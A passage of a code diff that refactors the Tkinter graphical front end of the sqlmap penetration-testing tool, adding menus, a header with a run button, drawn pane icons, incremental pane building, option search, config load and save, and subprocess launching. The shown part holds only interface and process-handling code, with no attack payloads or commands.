self.loadConfig()) + self._enableSelectAll() + self._refreshDerivedState() + self._center(self.window, 1060, 750) + self._schedulePanePrebuild(60) + + def _enableSelectAll(self): + # Tk binds Ctrl-A to "cursor to line start" by default; rebind it to select-all, + # which is what users expect (covers entries, comboboxes and the console text widget) + def selectEntry(event): + try: + event.widget.select_range(0, "end") + event.widget.icursor("end") + except Exception: + pass + return "break" - def onReturnPress(event): - global line - global queue + def selectText(event): + try: + event.widget.tag_add("sel", "1.0", "end-1c") + except Exception: + pass + return "break" - if process: + for cls in ("TEntry", "Entry", "TCombobox"): + self.window.bind_class(cls, "", selectEntry) + self.window.bind_class(cls, "", selectEntry) + for seq in ("", ""): + self.window.bind_class("Text", seq, selectText) + + def _buildMenu(self): + p = PALETTE + menuKw = dict(bg=p["panel"], fg=p["text"], activebackground=p["sapphire"], + activeforeground="#ffffff") + menubar = self.tk.Menu(self.window, borderwidth=0, **menuKw) + filemenu = self.tk.Menu(menubar, tearoff=0, **menuKw) + filemenu.add_command(label="Load configuration...", command=self.loadConfig) + filemenu.add_command(label="Save configuration...", command=self.saveConfigDialog) + filemenu.add_command(label="Reset all options", command=self.resetOptions) + filemenu.add_separator() + filemenu.add_command(label="Exit", command=self._closeApplication) + menubar.add_cascade(label="File", menu=filemenu) + menubar.add_command(label="Run", command=self.run) + helpmenu = self.tk.Menu(menubar, tearoff=0, **menuKw) + helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE)) + helpmenu.add_command(label="GitHub", command=lambda: webbrowser.open(GIT_PAGE)) + helpmenu.add_command(label="Wiki", command=lambda: webbrowser.open(WIKI_PAGE)) + helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE)) + helpmenu.add_separator() + helpmenu.add_command(label="About", command=lambda: self.messagebox.showinfo( + "About", "%s\n\n (%s)" % (VERSION_STRING, DEV_EMAIL_ADDRESS))) + menubar.add_cascade(label="Help", menu=helpmenu) + self.window.config(menu=menubar) + + def _buildHeader(self): + self._runHover = False + self.header = self.tk.Canvas(self.window, height=76, highlightthickness=0, borderwidth=0, background=PALETTE["base"]) + self.header.pack(fill=self.tk.X) + self.header.bind("", self._scheduleHeaderDraw) + + def _scheduleHeaderDraw(self, event=None): + if self._headerJob is not None: try: - process.stdin.write(("%s\n" % line.strip()).encode()) - process.stdin.flush() - except socket.error: - line = "" - event.widget.master.master.destroy() - return "break" - except: + self.window.after_cancel(self._headerJob) + except Exception: + pass + self._headerJob = self.window.after(35, self._drawHeader) + + def _interp(self, color1, color2, ratio): + a = [int(color1[_:_ + 2], 16) for _ in (1, 3, 5)] + b = [int(color2[_:_ + 2], 16) for _ in (1, 3, 5)] + return "#%02x%02x%02x" % tuple(int(a[_] + (b[_] - a[_]) * ratio) for _ in range(3)) + + def _drawHeader(self): + """Draw the header only for resize or process-state changes. + + Keep this deliberately cheap. Redrawing a canvas from an / + callback can remove the item currently under the pointer, which generates a + matching leave/enter pair and can turn into an event/redraw loop on Tk/X11. + """ + self._headerJob = None + p = PALETTE + c = self.header + c.delete("all") + width = max(1, c.winfo_width()) + height = 76 + + # A small, fixed number of primitives paints faster and more consistently + # than a strip-per-gradient header, especially on X11 and remote displays. + c.create_rectangle(0, 0, width, height, outline="", fill="#17445f") + c.create_rectangle(0, 0, 6, height, outline="", fill=p["sky"]) + c.create_rectangle(6, height - 4, width, height, outline="", fill="#0e7697") + c.create_line(22, 64, max(22, width - 160), 64, fill="#39738a") + + c.create_text(26, 26, text="sqlmap", anchor="w", fill="#ffffff", font=self.fonts["title"]) + c.create_text(124, 30, text=VERSION_STRING.replace("sqlmap/", "v"), anchor="w", + fill="#bfe1ed", font=self.fonts["subtitle"]) + c.create_text(26, 52, text="automatic SQL injection and database takeover tool", anchor="w", + fill="#dcecf2", font=self.fonts["small"]) + self._drawRunButton(width, height) + + def _isRunning(self): + return self.process is not None and self.process.poll() is None + + def _drawRunButton(self, width, height): + p = PALETTE + c = self.header + running = self._isRunning() + bw, bh = 116, 34 + x0 = width - bw - 22 + y0 = (height - bh) // 2 + x1, y1 = x0 + bw, y0 + bh + baseFill = p["red"] if running else p["success"] + fill = ("#d15056" if running else "#3bae6b") if self._runHover else baseFill + c.create_rectangle(x0, y0, x1, y1, fill=fill, outline="#d9f1e3", width=1, + tags=("runbtn", "runpill")) + c.create_line(x0 + 1, y0 + 1, x1 - 1, y0 + 1, fill="#8fd2aa" if not running else "#ef9da1", + tags="runbtn") + c.create_line(x0 + 1, y1 - 1, x1 - 1, y1 - 1, fill="#17613a" if not running else "#75252a", + tags="runbtn") + cy = (y0 + y1) // 2 + tx = x0 + 23 + if running: + c.create_rectangle(tx, cy - 6, tx + 11, cy + 6, fill="#ffffff", outline="", + tags=("runbtn", "runico")) + else: + c.create_polygon(tx, cy - 6, tx, cy + 6, tx + 10, cy, fill="#ffffff", outline="", + tags=("runbtn", "runico")) + c.create_text((x0 + x1) // 2 + 8, cy, text=("Stop" if running else "Run"), fill="#ffffff", + font=self.fonts["bodyBold"], tags=("runbtn", "runico")) + c.tag_bind("runbtn", "", lambda e: self._runButtonAction()) + c.tag_bind("runbtn", "", lambda e: self._hoverRun(True)) + c.tag_bind("runbtn", "", lambda e: self._hoverRun(False)) + + def _runButtonAction(self): + if self._isRunning(): + self.stopProcess() + else: + self.run() + + def _hoverRun(self, on): + """Update only the existing button items; never rebuild the header here.""" + self._runHover = on + try: + running = self._isRunning() + if on: + fill = "#d15056" if running else "#3bae6b" + else: + fill = PALETTE["red"] if running else PALETTE["success"] + self.header.itemconfigure("runpill", fill=fill) + self.header.configure(cursor="hand2" if on else "") + except Exception: + pass + + + def _drawIcon(self, c, name, col): + # minimal line-art icons, drawn as vectors so they render everywhere and need no assets + c.delete("all") + + def line(*pts, **kw): + c.create_line(*pts, fill=col, width=2, capstyle="round", joinstyle="round", **kw) + + def oval(x0, y0, x1, y1, filled=False): + c.create_oval(x0, y0, x1, y1, outline=col, width=2, fill=(col if filled else "")) + + def rect(x0, y0, x1, y1, filled=False): + c.create_rectangle(x0, y0, x1, y1, outline=col, width=2, fill=(col if filled else "")) + + def poly(*pts): + c.create_polygon(*pts, fill=col, outline="") + + def arc(x0, y0, x1, y1, start, extent): + c.create_arc(x0, y0, x1, y1, start=start, extent=extent, outline=col, width=2, style="arc") + + def dot(x, y, r=2): + c.create_oval(x - r, y - r, x + r, y + r, fill=col, outline="") + + def glyph(text, size=11): + c.create_text(11, 11, text=text, fill=col, font=(self.fonts["bodyBold"][0], size, "bold")) + + if name == "Quick start": + poly(12, 3, 6, 12, 10, 12, 9, 19, 16, 9, 11, 9) + elif name == "Target": + oval(4, 4, 18, 18) + dot(11, 11, 2) + elif name == "Request": + line(4, 8, 17, 8, arrow="last") + line(18, 14, 5, 14, arrow="last") + elif name == "Optimization": + arc(4, 6, 18, 20, 0, 180) + line(11, 13, 15, 8) + elif name == "Injection": + # syringe: thumb rest + plunger rod + flange + barrel + needle (no arrowhead, so it reads as a needle not a cross) + line(9, 2, 13, 2) + line(11, 2, 11, 5) + line(6, 5, 16, 5) + rect(8, 5, 14, 14) + line(11, 14, 11, 20) + elif name == "Detection": + oval(4, 4, 13, 13) + line(12, 12, 18, 18) + elif name == "Techniques": + oval(7, 7, 15, 15) + line(11, 2, 11, 6) + line(11, 16, 11, 20) + line(2, 11, 6, 11) + line(16, 11, 20, 11) + elif name == "Fingerprint": + # tightly nested tall loops with the gap at the bottom (fingertip ridges), plus a central core + arc(3, 1, 19, 21, 285, 330) + arc(5, 4, 17, 18, 285, 330) + arc(7, 7, 15, 15, 285, 330) + arc(9, 10, 13, 12, 285, 330) + elif name == "Enumeration": + oval(4, 3, 18, 7) + line(4, 5, 4, 16) + line(18, 5, 18, 16) + arc(4, 12, 18, 18, 180, 180) + elif name == "Brute force": + oval(3, 7, 11, 15) + line(9, 11, 19, 11) + line(16, 11, 16, 15) + line(19, 11, 19, 14) + elif name == "User-defined function injection": + glyph("fx", 11) + elif name == "File system access": + poly(3, 7, 8, 7, 10, 9, 19, 9, 19, 17, 3, 17) + elif name == "Operating system access": + rect(3, 5, 19, 17) + line(6, 9, 9, 11) + line(6, 13, 9, 13) + elif name == "Windows registry access": + # the waving Windows flag (4 slanted panes) rather than a plain 2x2 grid + poly(4, 6, 10, 5, 10, 11, 4, 12) + poly(12, 5, 18, 4, 18, 10, 12, 11) + poly(4, 13, 10, 12, 10, 18, 4, 19) + poly(12, 12, 18, 11, 18, 17, 12, 18) + elif name == "General": + line(4, 6, 18, 6) + dot(14, 6) + line(4, 11, 18, 11) + dot(8, 11) + line(4, 16, 18, 16) + dot(13, 16) + elif name == "Miscellaneous": + dot(5, 11) + dot(11, 11) + dot(17, 11) + else: + dot(11, 11, 3) + + def _addPane(self, name, navText): + p = PALETTE + tk = self.tk + row = tk.Frame(self.nav, background=p["mantle"]) + row.pack(fill=tk.X) + strip = tk.Frame(row, background=p["mantle"], width=3) + strip.pack(side=tk.LEFT, fill=tk.Y) + icon = tk.Canvas(row, width=22, height=22, highlightthickness=0, borderwidth=0, background=p["mantle"]) + icon.pack(side=tk.LEFT, padx=(13, 0), pady=8) + self._drawIcon(icon, name, self._iconColor(name)) + badge = tk.Label(row, text="", background=p["mantle"], foreground=p["navMuted"], font=self.fonts["small"]) + badge.pack(side=tk.RIGHT, padx=(0, 12)) + self.badges[name] = badge + lab = tk.Label(row, text=navText, background=p["mantle"], foreground=p["navText"], + font=self.fonts["nav"], anchor="w", padx=10, pady=9) + lab.pack(side=tk.LEFT, fill=tk.X, expand=True) + for w in (row, lab, strip, icon, badge): + w.bind("", lambda e, n=name: self._selectPane(n)) + w.bind("", lambda e, n=name: self._navHover(n, True)) + w.bind("", lambda e, n=name: self._navHover(n, False)) + self.navItems[name] = (row, strip, icon, lab, badge) + self.paneOrder.append(name) + + outer = self.ttk.Frame(self.content, style="Card.TFrame") + canvas = tk.Canvas(outer, background=p["panel"], highlightthickness=0, borderwidth=0) + scrollbar = self.ttk.Scrollbar(outer, orient="vertical", command=canvas.yview, style="Vertical.TScrollbar") + inner = self.ttk.Frame(canvas, style="Card.TFrame", padding=(24, 20)) + inner.bind("", lambda e: canvas.configure(scrollregion=canvas.bbox("all"))) + window_id = canvas.create_window((0, 0), window=inner, anchor="nw") + canvas.bind("", lambda e: canvas.itemconfigure(window_id, width=e.width)) + canvas.configure(yscrollcommand=scrollbar.set) + canvas.pack(side="left", fill="both", expand=True) + scrollbar.pack(side="right", fill="y") + self.panes[name] = outer + self.canvases[name] = canvas + self.inners[name] = inner + return inner + + def _iconColor(self, name): + return PALETTE.get(ICON_COLORS.get(name, "subtext"), PALETTE["subtext"]) + + def _navHover(self, name, entering): + if entering: + self._prioritizePaneBuild(name) + if name == self.currentPane: + return + bg = PALETTE["navHover"] if entering else PALETTE["mantle"] + row, strip, icon, lab, badge = self.navItems[name] + for w in (row, strip, icon, lab, badge): + w.configure(background=bg) + + def _navKey(self, delta): + try: + focused = self.window.focus_get() + except Exception: + focused = None + if isinstance(focused, (self.ttk.Entry, self.ttk.Combobox)): + return None + if self.paneOrder: + index = self.paneOrder.index(self.currentPane) + self._selectPane(self.paneOrder[(index + delta) % len(self.paneOrder)]) + return "break" + + def _selectPane(self, name): + # Build only a tiny, time-bounded slice synchronously so a never-visited pane + # appears immediately. The remaining rows are completed by the idle prebuilder. + if name not in self.built: + self._prioritizePaneBuild(name) + self._buildPaneSlice(name, budgetMs=14, minimumSteps=5) + if self.currentPane == name: + return + p = PALETTE + if self.currentPane: + self.panes[self.currentPane].pack_forget() + row, strip, icon, lab, badge = self.navItems[self.currentPane] + for w in (row, strip, icon): + w.configure(background=p["mantle"]) + lab.configure(background=p["mantle"], foreground=p["navText"], font=self.fonts["nav"]) + badge.configure(background=p["mantle"], foreground=p["navMuted"]) + self._drawIcon(icon, self.currentPane, self._iconColor(self.currentPane)) + self.panes[name].pack(expand=True, fill=self.tk.BOTH) + row, strip, icon, lab, badge = self.navItems[name] + for w in (row, icon): + w.configure(background=p["blue"]) + strip.configure(background=p["sky"]) + lab.configure(background=p["blue"], foreground="#ffffff", font=self.fonts["bodyBold"]) + badge.configure(background=p["blue"], foreground="#d9edf5") + self._drawIcon(icon, name, "#ffffff") + self.currentPane = name + # Geometry flushing here used to make first-time pane switches feel much + # slower than the widget creation itself. Sidebar visibility can be fixed + # on the next idle turn without blocking the click handler. + self.window.after_idle(lambda n=name: self._ensureNavVisible(n) if self.currentPane == n else None) + + if hasattr(self, "hint"): # don't leave the previous section's option hint lingering + self.hint.set(HINT_DEFAULT) + + def _ensureNavVisible(self, name): + # scroll the sidebar so the active item stays in view (e.g. when paging with Up/Down) + try: + row = self.navItems[name][0] + total = self.nav.winfo_height() + viewH = self.navCanvas.winfo_height() + if total <= 1 or viewH <= 1: return + top = row.winfo_y() + bottom = top + row.winfo_height() + curTop = self.navCanvas.yview()[0] * total + if top < curTop: + self.navCanvas.yview_moveto(float(top) / total) + elif bottom > curTop + viewH: + self.navCanvas.yview_moveto(float(bottom - viewH) / total) + except Exception: + pass + + def _onWheel(self, event): + # Route the wheel only when the pointer is actually over this window's sidebar/content. + rawDelta = getattr(event, "delta", 0) + if getattr(event, "num", None) == 5: + delta = 1 + elif getattr(event, "num", None) == 4: + delta = -1 + else: + delta = -int(rawDelta / 120) if abs(rawDelta) >= 120 else (-1 if rawDelta > 0 else 1) + target = None + node = self.window.winfo_containing(event.x_root, event.y_root) + while node is not None: + if node is self.navCanvas: + target = self.navCanvas + break + if self.currentPane and node is self.canvases.get(self.currentPane): + target = self.canvases[self.currentPane] + break + try: + node = node.master + except Exception: + break + if target is not None: + target.yview_scroll(delta, "units") + return "break" + return None + + def _schedulePanePrebuild(self, delay=1): + if self._prebuildJob is not None: + return + try: + self._prebuildJob = self.window.after(delay, self._pumpPanePrebuild) + except Exception: + self._prebuildJob = None + + def _prioritizePaneBuild(self, name): + if name in self.built: + return + try: + self._prebuildQueue.remove(name) + except ValueError: + pass + self._prebuildQueue.insert(0, name) + self._schedulePanePrebuild() + + def _buildPaneSlice(self, name, budgetMs=7, minimumSteps=1): + if name in self.built: + return True + builder = self.builders.get(name) + if builder is None: + self.built.add(name) + return True + state = self.buildStates.get(name) + if state is None: + state = builder(self.inners[name]) + self.buildStates[name] = state + + deadline = _clock() + max(0.001, budgetMs / 1000.0) + steps = 0 + while steps < minimumSteps or _clock() < deadline: + try: + next(state) + steps += 1 + except StopIteration: + self.buildStates.pop(name, None) + self.built.add(name) + try: + self._prebuildQueue.remove(name) + except ValueError: + pass + return True + except Exception: + # A broken optional field should not make the whole GUI unusable. + self.buildStates.pop(name, None) + self.built.add(name) + try: + self._prebuildQueue.remove(name) + except ValueError: + pass + return True + return False + + def _pumpPanePrebuild(self): + self._prebuildJob = None + while self._prebuildQueue and self._prebuildQueue[0] in self.built: + self._prebuildQueue.pop(0) + if not self._prebuildQueue: + return + + name = self._prebuildQueue[0] + finished = self._buildPaneSlice(name, budgetMs=7, minimumSteps=1) + if finished and self._prebuildQueue and self._prebuildQueue[0] == name: + self._prebuildQueue.pop(0) + # Yield to pointer, keyboard, expose and paint events after every small slice. + self._schedulePanePrebuild(1) + + def _scheduleSearch(self, *unused): + if self._searchJob is not None: + try: + self.window.after_cancel(self._searchJob) + except Exception: + pass + self._searchJob = self.window.after(90, self._applySearch) + + def _applySearch(self): + self._searchJob = None + query = self.searchVar.get().strip().lower() + if not query: + self.searchMatches = [] + self.searchList.delete(0, self.tk.END) + self.searchList.pack_forget() + return + + tokens = query.split() + matches = [] + for dest, index, label, section, flag, haystack in self.searchIndex: + if not all(token in haystack for token in tokens): + continue + score = 0 + if dest.lower().startswith(query): + score -= 40 + if flag.lower().startswith(query) or flag.lower().startswith("--" + query): + score -= 30 + if label.lower().startswith(query): + score -= 20 + if section.lower().startswith(query): + score -= 10 + matches.append((score, index, dest, label, section)) + + matches.sort() + matches = matches[:MAX_SEARCH_RESULTS] + self.searchMatches = [item[2] for item in matches] + self.searchList.delete(0, self.tk.END) + for _, _, dest, label, section in matches: + shortSection = NAV_ALIASES.get(section, section) + self.searchList.insert(self.tk.END, "%s [%s]" % (label, shortSection)) + + if matches: + self.searchList.configure(height=min(7, len(matches))) + self.searchList.pack(fill=self.tk.X, padx=9, pady=(0, 7), before=self.navCanvas) + self.searchList.selection_clear(0, self.tk.END) + self.searchList.selection_set(0) + self.searchList.activate(0) + else: + self.searchList.insert(self.tk.END, "No matching options") + self.searchList.configure(height=1) + self.searchList.pack(fill=self.tk.X, padx=9, pady=(0, 7), before=self.navCanvas) + + def _searchMoveDown(self, event=None): + if self.searchMatches: + self.searchList.focus_set() + self.searchList.selection_clear(0, self.tk.END) + self.searchList.selection_set(0) + self.searchList.activate(0) + return "break" + + def _clickSearchResult(self, event): + if not self.searchMatches: + return "break" + try: + index = int(self.searchList.nearest(event.y)) + except Exception: + index = 0 + if index < 0 or index >= len(self.searchMatches): + return "break" + # Resolve the clicked row ourselves instead of depending on Listbox class + # bindings, whose selection update happens after this widget binding. + self.searchList.selection_clear(0, self.tk.END) + self.searchList.selection_set(index) + self.searchList.activate(index) + return self._activateSearchIndex(index) + + def _activateSearchResult(self, event=None): + if not self.searchMatches: + return "break" + selection = self.searchList.curselection() + index = int(selection[0]) if selection else 0 + return self._activateSearchIndex(index) - event.widget.insert(_tkinter.END, "\n") - + def _activateSearchIndex(self, index): + if not self.searchMatches: return "break" + if index < 0 or index >= len(self.searchMatches): + index = 0 + dest = self.searchMatches[index] + section = self.sectionByDest.get(dest) + self.searchVar.set("") + if section in self.panes: + self._selectPane(section) + self._focusOptionWhenReady(dest, section) + elif dest == "url": + self._focusTarget() + return "break" + + def _focusOptionWhenReady(self, dest, paneName): + # A search can jump to an option that the incremental pane builder has not + # created yet. Continue that pane in tiny slices and focus as soon as the + # requested widget exists, without blocking the click handler. + for candidatePane, candidateWidget in self.controlsByDest.get(dest, ()): + if candidatePane == paneName: + self.window.after_idle(lambda d=dest, p=paneName: self._focusOption(d, p)) + return + if paneName not in self.built: + self._prioritizePaneBuild(paneName) + self._buildPaneSlice(paneName, budgetMs=6, minimumSteps=1) + self.window.after(1, lambda d=dest, p=paneName: self._focusOptionWhenReady(d, p)) + + def _focusOption(self, dest, paneName): + candidates = self.controlsByDest.get(dest, ()) + widget = None + for candidatePane, candidateWidget in candidates: + if candidatePane == paneName: + widget = candidateWidget + break + if widget is None and candidates: + widget = candidates[0][1] + if widget is None: + return + try: + widget.focus_set() + if isinstance(widget, (self.ttk.Entry, self.ttk.Combobox)): + widget.select_range(0, "end") + canvas = self.canvases.get(paneName) + inner = self.inners.get(paneName) + if canvas is not None and inner is not None: + inner.update_idletasks() + total = max(1, inner.winfo_height()) + canvas.yview_moveto(max(0.0, min(1.0, float(widget.winfo_y() - 30) / total))) + except Exception: + pass + + def _buildPaneHeading(self, parent, title, description, optionCount): + p = PALETTE + card = self.tk.Frame(parent, background=p["surface0"], highlightthickness=1, + highlightbackground=p["border"], borderwidth=0) + card.grid(row=0, column=0, columnspan=2, sticky="ew", pady=(0, 16)) + accent = self.tk.Frame(card, background=self._iconColor(title), width=5) + accent.pack(side=self.tk.LEFT, fill=self.tk.Y) + content = self.ttk.Frame(card, style="PaneHeader.TFrame", padding=(14, 10, 14, 10)) + content.pack(side=self.tk.LEFT, fill=self.tk.BOTH, expand=True) + titleRow = self.ttk.Frame(content, style="PaneHeader.TFrame") + titleRow.pack(fill=self.tk.X) + self.ttk.Label(titleRow, text=title, style="Pane.TLabel").pack(side=self.tk.LEFT) + self.ttk.Label(titleRow, text="%d option%s" % (optionCount, "" if optionCount == 1 else "s"), + style="PaneCount.TLabel").pack(side=self.tk.RIGHT, pady=(6, 0)) + if description: + self.ttk.Label(content, text=description, style="PanelHint.TLabel", wraplength=690, + justify="left").pack(fill=self.tk.X, pady=(3, 0)) + + def _buildQuickStartPane(self): + name = "Quick start" + self._addPane(name, name) + self.sectionDests[name] = [_ for _ in QUICK_START_DESTS if _ in self.optionByDest] + + def build(inner): + description = "The options people reach for most. Set the target above, choose what you need, then Run." + self._buildPaneHeading(inner, name, description, len(self.sectionDests[name])) + yield + row = 1 + for dest in QUICK_START_DESTS: + option = self.optionByDest.get(dest) + if option is not None: + row = self._buildFieldRow(inner, option, row, paneName=name) + yield + inner.columnconfigure(1, weight=1) + + self.builders[name] = build + + def _buildGroupPane(self, group): + title = _groupTitle(group) + self._addPane(title, NAV_ALIASES.get(title, title)) + self.sectionDests[title] = [_optDest(_) for _ in _groupOptions(group) if _optDest(_)] + + def build(inner, group=group, title=title): + self._buildPaneHeading(inner, title, _groupDescription(group), len(self.sectionDests[title])) + yield + row = 1 + for option in _groupOptions(group): + row = self._buildFieldRow(inner, option, row, paneName=title) + yield + inner.columnconfigure(1, weight=1) + + self.builders[title] = build + + def _destVar(self, dest, is_bool): + # One shared effective-value variable per option, reflected in every duplicate control. + if dest not in self.vars: + var = self.tk.BooleanVar(value=False) if is_bool else self.tk.StringVar(value="") + self.vars[dest] = var + self.widgets[dest] = ("bool" if is_bool else "string", var) + try: + var.trace("w", self._onOptionChanged) + except Exception: + pass + return self.vars[dest] + + def _buildFieldRow(self, parent, option, row, labelText=None, paneName=None): + label = labelText or _optionLabel(option) + helptext = _optHelp(option) + dest = _optDest(option) + if not dest: + return row + is_bool = not _optTakesValue(option) + + if is_bool: + var = self._destVar(dest, True) + default = bool(defaults.get(dest)) + chk = self.ttk.Checkbutton(parent, text=label, variable=var, + onvalue=(not default), offvalue=default, takefocus=True) + chk.grid(row=row, column=0, columnspan=2, sticky="w", pady=5) + self.tooltip.attach(chk, helptext) + self.controlsByDest.setdefault(dest, []).append((paneName, chk)) + else: + otype = _optValueType(option) + var = self._destVar(dest, False) + lab = self.ttk.Label(parent, text=label, style="Field.TLabel") + lab.grid(row=row, column=0, sticky="w", padx=(0, 18), pady=6) + self.tooltip.attach(lab, helptext) + choices = _optChoices(option) + if choices: + widget = self.ttk.Combobox(parent, values=list(choices), state="readonly", textvariable=var) + else: + widget = self.ttk.Entry(parent, textvariable=var) + if otype in ("int", "float"): + self._constrain(widget, otype) + widget.grid(row=row, column=1, sticky="ew", pady=6) + self.tooltip.attach(widget, helptext) + self.controlsByDest.setdefault(dest, []).append((paneName, widget)) + return row + 1 + + def _constrain(self, entry, otype): + def check(proposed): + if proposed in ("", "+", "-", ".", "+.", "-."): + return True + try: + if otype == "int": + int(proposed) + else: + float(proposed) + return True + except (TypeError, ValueError): + return False - def run(): - global alive - global process - global queue + vcmd = (self.window.register(check), "%P") + entry.configure(validate="key", validatecommand=vcmd) - config = {} - for key in window._widgets: - dest, widget_type = key - widget = window._widgets[key] + # --- helpers -------------------------------------------------------- - if hasattr(widget, "get") and not widget.get(): - value = None - elif widget_type == "string": - value = widget.get() - elif widget_type == "float": - value = float(widget.get()) - elif widget_type == "int": - value = int(widget.get()) - else: - value = bool(widget.var.get()) + def _center(self, window, width=None, height=None): + window.update_idletasks() + width = width or window.winfo_width() + height = height or window.winfo_height() + x = window.winfo_screenwidth() // 2 - width // 2 + y = window.winfo_screenheight() // 2 - height // 2 + window.geometry("%dx%d+%d+%d" % (width, height, x, y)) + + def _isOptionSet(self, dest): + item = self.widgets.get(dest) + if item is None: + return False + otype, var = item + try: + value = var.get() + except Exception: + return False + default = defaults.get(dest) + if otype == "bool": + return bool(value) != bool(default) + if value in (None, ""): + return False + displayDefault = "" if default in (None, False) else str(default) + return str(value) != displayDefault + + def _updateStats(self): + setDests = set(_ for _ in self.widgets if self._isOptionSet(_)) + count = len(setDests) + status = "%d option%s set" % (count, "" if count == 1 else "s") + if self._isRunning(): + status += " | running" + self.stat.set(status) + for name, dests in self.sectionDests.items(): + badge = self.badges.get(name) + if badge is not None: + hits = sum(1 for _ in dests if _ in setDests) + badge.configure(text=(str(hits) if hits else "")) + + def _buildCommandString(self): + argv = ["sqlmap.py"] + for dest in self.optionOrder: + if not self._isOptionSet(dest): + continue + option = self.optionByDest.get(dest) + flag = _preferredFlag(option) if option is not None else "" + if not flag: + continue + otype, var = self.widgets[dest] + try: + argv.append(flag) + if otype != "bool": + argv.append(_toText(var.get())) + except Exception: + pass + if IS_WIN: + return _list2cmdline(argv) + return " ".join(_quoteArg(_) for _ in argv) + + def _copyCommand(self): + try: + self.window.clipboard_clear() + self.window.clipboard_append(self.command.get()) + self.hint.set("Command copied to clipboard") + except Exception: + pass + + def _pasteTarget(self): + try: + value = self.window.clipboard_get() + self.vars["url"].set(_toText(value).strip()) + self.targetEntry.focus_set() + self.targetEntry.icursor("end") + except Exception: + self.hint.set("Clipboard does not contain text") + + def _clearTarget(self): + try: + self.vars["url"].set("") + self.targetEntry.focus_set() + except Exception: + pass + + def _focusTarget(self): + try: + self.targetEntry.focus_set() + self.targetEntry.select_range(0, "end") + except Exception: + pass + return "break" + + def _focusSearch(self): + try: + self.searchEntry.focus_set() + self.searchEntry.select_range(0, "end") + except Exception: + pass + return "break" + + def _escapeAction(self, event=None): + try: + if self.searchVar.get(): + self.searchVar.set("") + self.searchEntry.focus_set() + return "break" + except Exception: + pass + return None + def _collectConfig(self): + config = {} + for dest, (otype, var) in self.widgets.items(): + try: + if otype == "bool": + value = bool(var.get()) + else: + raw = var.get() + if raw in (None, ""): + value = None + elif otype == "int": + value = int(raw) + elif otype == "float": + value = float(raw) + else: + value = raw + except Exception: + value = None config[dest] = value - - for option in parser.option_list: - # Only set default if not already set by the user - if option.dest not in config or config[option.dest] is None: - config[option.dest] = defaults.get(option.dest, None) - - handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) - os.close(handle) - - saveConfig(config, configFile) + for option in self.optionByDest.values(): + dest = _optDest(option) + if config.get(dest) is None: + config[dest] = defaults.get(dest, None) + return config + + def _setWidgetValue(self, dest, value): + if dest not in self.widgets: + return + otype, var = self.widgets[dest] + try: + if otype == "bool": + var.set(bool(value)) + else: + var.set("" if value in (None, False) else value) + except Exception: + pass + + def resetOptions(self): + self._suspendRefresh = True + try: + for dest, (otype, var) in self.widgets.items(): + default = defaults.get(dest) + if otype == "bool": + var.set(bool(default)) + else: + var.set("" if default in (None, False) else default) + finally: + self._suspendRefresh = False + self._refreshDerivedState() + self.hint.set("All options reset to their defaults") + + + # --- actions -------------------------------------------------------- + + def loadConfig(self): + path = self.filedialog.askopenfilename(title="Load configuration", filetypes=[("sqlmap config", "*.conf *.ini"), ("All files", "*.*")]) + if not path: + return + try: + from thirdparty.six.moves import configparser as _configparser + parser = _configparser.ConfigParser() + parser.optionxform = str + parser.read(path) + byLower = dict((_.lower(), _) for _ in self.widgets) + count = 0 + self._suspendRefresh = True + try: + for section in parser.sections(): + for name, value in parser.items(section): + dest = name if name in self.widgets else byLower.get(name.lower()) + if dest is None: + continue + if self.widgets[dest][0] == "bool": + self._setWidgetValue(dest, str(value).lower() in ("1", "true", "yes", "on")) + else: + self._setWidgetValue(dest, value) + count += 1 + finally: + self._suspendRefresh = False + self._refreshDerivedState() + self.hint.set("Loaded %d options from %s" % (count, os.path.basename(path))) + except Exception as ex: + self._suspendRefresh = False + self.messagebox.showerror("Load failed", getSafeExString(ex)) + + def saveConfigDialog(self): + path = self.filedialog.asksaveasfilename(title="Save configuration", defaultextension=".conf", filetypes=[("sqlmap config", "*.conf")]) + if not path: + return + try: + saveConfig(self._collectConfig(), path) + self.hint.set("Saved configuration to %s" % os.path.basename(path)) + except Exception as ex: + self.messagebox.showerror("Save failed", getSafeExString(ex)) + + def run(self): + if self._isRunning(): + self.hint.set("sqlmap is already running") + try: + self.consoleWindow.deiconify() + self.consoleWindow.lift() + except Exception: + pass + return + + configFile = None + try: + config = self._collectConfig() + handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) + os.close(handle) + saveConfig(config, configFile) + + env = os.environ.copy() + env.setdefault("PYTHONIOENCODING", "utf-8") + proc = subprocess.Popen( + [sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], + shell=False, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + stdin=subprocess.PIPE, + bufsize=0, + close_fds=not IS_WIN, + universal_newlines=False, + env=env, + ) + except Exception as ex: + self._cleanupConfigFile(configFile) + self.messagebox.showerror("Unable to start sqlmap", getSafeExString(ex)) + return + + self._runSerial += 1 + serial = self._runSerial + outputQueue = _queue.Queue() + self.process = proc + self.processQueue = outputQueue + self.processConfigFile = configFile def enqueue(stream, queue): - global alive - - for line in iter(stream.readline, b''): - queue.put(line) - - alive = False - stream.close() - - alive = True - - process = subprocess.Popen([sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=not IS_WIN) - - # Reference: https://stackoverflow.com/a/4896288 - queue = _queue.Queue() - thread = threading.Thread(target=enqueue, args=(process.stdout, queue)) + try: + for line in iter(stream.readline, b""): + if not line: + break + queue.put(_toText(line)) + except Exception as ex: + queue.put("\n[console reader error: %s]\n" % getSafeExString(ex)) + finally: + try: + stream.close() + except Exception: + pass + queue.put(None) + + thread = threading.Thread(target=enqueue, args=(proc.stdout, outputQueue)) thread.daemon = True thread.start() - top = _tkinter.Toplevel() - top.title("Console") - top.configure(background=bg_color) + self.hint.set("sqlmap started") + self._scheduleHeaderDraw() + self._refreshDerivedState() + self._openConsole(proc, outputQueue, serial) + self.window.after(200, lambda: self._watchProcess(proc, serial, configFile)) - # Create a frame for the console - console_frame = _tkinter.Frame(top, bg=bg_color) - console_frame.pack(fill=_tkinter.BOTH, expand=True, padx=10, pady=10) + def _watchProcess(self, proc, serial, 